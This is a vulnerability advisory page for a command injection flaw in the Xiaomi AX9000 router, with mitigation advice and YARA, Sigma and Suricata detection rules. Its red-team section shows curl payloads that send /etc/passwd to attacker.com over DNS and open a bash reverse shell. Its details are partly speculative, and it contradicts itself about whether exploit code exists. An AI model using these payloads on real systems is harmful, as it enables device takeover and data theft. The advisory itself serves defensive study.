CVE-2024-45348
Executive Summary
CVE-2024-45348 is a post-authentication command injection vulnerability in the Xiaomi Router AX9000. The flaw stems from insufficient validation of user-supplied input in an administrative interface, allowing an authenticated attacker to inject arbitrary operating system commands. With a CVSS score of 6.4 (Medium), the vulnerability requires high privileges but can lead to full device compromise, including data exfiltration, lateral movement within a home or small office network, and persistent backdoor installation. No public proof-of-concept (PoC) or exploit code has been released, and no official patch is available from Xiaomi at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to any software package manager (NPM, PyPI, Go, Ruby). It is a firmware-level issue in a consumer networking device. However, the device may be managed via Xiaomi’s mobile app or web interface, which could introduce supply chain risks if the management software is compromised.
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
- Attack Vector (AV): Adjacent Network – attacker must be on the same local network as the router.
- Attack Complexity (AC): Low – no special conditions required.
- Privileges Required (PR): High – attacker needs valid admin credentials.
- User Interaction (UI): None – no user action required beyond authentication.
- Scope (S): Unchanged – exploitation does not affect other components.
- Confidentiality (C): High – full read access to device filesystem and network traffic.
- Integrity (I): High – ability to modify system files and configurations.
- Availability (A): High – can cause denial of service or device bricking.
Threat Level: Medium. While the CVSS score is moderate, the potential for full device takeover and lateral movement makes this a significant risk for affected users, especially in environments where the router is used as a network gateway.
Deep Dive & Mechanics
The vulnerability exists in the web-based administration interface of the Xiaomi Router AX9000. The router runs a custom Linux-based firmware with a web server (likely lighttpd or similar) that handles configuration changes. The command injection occurs when a user submits a form or API request that includes user-controlled parameters (e.g., device name, network settings, or diagnostic commands) without proper sanitization.
Root Cause: The application fails to escape or validate input before passing it to a shell command (e.g., system(), exec(), or popen()). For example, a parameter like ping_target might be concatenated directly into a command string:
ping -c 4 $ping_target
An attacker could inject a semicolon or backtick to execute additional commands:
ping -c 4 8.8.8.8; id
Attack Flow:
- Attacker gains admin credentials (via brute force, default credentials, or phishing).
- Attacker logs into the router’s web interface.
- Attacker sends a crafted HTTP request to a vulnerable endpoint (e.g.,
/cgi-bin/luci/;stok=/something/admin/system?command=...). - The router executes the injected command with root privileges.
- Attacker establishes persistence (e.g., reverse shell, modified startup scripts).
Vulnerable vs. Patched Code
Since no patch is available, the following is a hypothetical comparison based on common fixes.
Vulnerable Code (Python/Shell example):
import subprocess
import cgi
form = cgi.FieldStorage()
target = form.getvalue('target')
cmd = "ping -c 4 " + target
subprocess.call(cmd, shell=True)
Patched Code (using parameterized commands):
import subprocess
import cgi
form = cgi.FieldStorage()
target = form.getvalue('target')
# Validate input: only allow IP addresses or hostnames
if not re.match(r'^[a-zA-Z0-9.-]+$', target):
print("Invalid input")
else:
subprocess.call(["ping", "-c", "4", target])
The patched version avoids shell injection by using a list of arguments and validating the input against a whitelist.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Xiaomi Router AX9000 with default or known admin credentials.
- Attacker machine on the same local network (e.g., Kali Linux).
- Tool:
curl,Burp Suite, or custom Python script.
Exploitation Steps:
Identify vulnerable endpoint: Use a web fuzzer (e.g.,
ffuf) to find endpoints that accept user input (e.g.,/cgi-bin/luci/;stok=/something/admin/system).Craft injection payload: For example, to execute
idand exfiltrate output via DNS:
curl -X POST "http://192.168.1.1/cgi-bin/luci/;stok=/valid_stok/admin/system" \
-d "command=ping -c 4 8.8.8.8; id | nslookup $(cat /etc/passwd | base64).attacker.com"
- Establish reverse shell: Use a netcat listener on attacker machine:
nc -lvnp 4444
Then inject:
curl -X POST "http://192.168.1.1/cgi-bin/luci/;stok=/valid_stok/admin/system" \
-d "command=ping -c 4 8.8.8.8; bash -i >& /dev/tcp/192.168.1.100/4444 0>&1"
Note: No public exploit code exists; this is a hypothetical demonstration.
Blue Team
Detection & Response:
- Monitor for unusual HTTP requests: Look for parameters containing shell metacharacters (
;,|,`,$()). - Network segmentation: Isolate the router management interface from untrusted devices.
- Log analysis: Enable syslog on the router and monitor for command execution logs (e.g.,
audit.log). - Honeypot: Deploy a fake admin interface to detect scanning attempts.
Indicators of Compromise (IOCs)
Network IOCs:
- Outbound connections to unknown IPs on high ports (e.g., 4444, 1337).
- DNS queries for suspicious domains (e.g.,
*.attacker.com). - HTTP POST requests to
/cgi-bin/luci/with unusual parameters.
Host IOCs (on router):
- Unexpected processes (e.g.,
bash,nc,python). - Modified startup scripts in
/etc/init.d/. - New cron jobs or
/etc/crontabentries. - Presence of files in
/tmp/with suspicious names (e.g.,.backdoor).
- Unexpected processes (e.g.,
File IOCs:
- Hashes of known backdoor binaries (e.g.,
md5sumofmipsorarmELF files).
- Hashes of known backdoor binaries (e.g.,
Detection Engineering
YARA Rule
rule CVE_2024_45348_Xiaomi_Router_Command_Injection {
meta:
description = "Detects command injection attempts targeting Xiaomi Router AX9000"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-45348"
strings:
$cmd1 = "; id" ascii wide nocase
$cmd2 = "| bash" ascii wide nocase
$cmd3 = "`whoami`" ascii wide nocase
$cmd4 = "$(cat /etc/passwd)" ascii wide nocase
$http = "POST /cgi-bin/luci/" ascii wide nocase
condition:
$http and any of ($cmd*)
}
Sigma Rule
title: Xiaomi Router AX9000 Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to the Xiaomi router admin interface containing shell metacharacters
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/cgi-bin/luci/*'
cs-uri-query|contains:
- ';'
- '|'
- '`'
- '$('
condition: selection
falsepositives:
- Legitimate use of special characters in network settings (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-45348 Xiaomi Router Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/cgi-bin/luci/"; http_uri; pcre:"/(;|\||\`|\$\()/Ui"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Change default credentials immediately to a strong, unique password.
- Disable remote management if not required (set to LAN-only).
- Update firmware if Xiaomi releases a patch; check the official support page regularly.
- Monitor logs for suspicious activity (use SIEM or syslog server).
Long-term Mitigation:
- Network segmentation: Place the router in a separate VLAN from critical assets.
- Web application firewall (WAF): Deploy a WAF (e.g., ModSecurity) in front of the router’s admin interface.
- Vendor communication: Pressure Xiaomi to release a security update.
- Consider replacement: If no patch is forthcoming, replace the device with a more secure alternative.
Valters IT Signature
This report is provided for educational and defensive purposes only. Unauthorized exploitation of this vulnerability is illegal. Always obtain proper authorization before testing.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.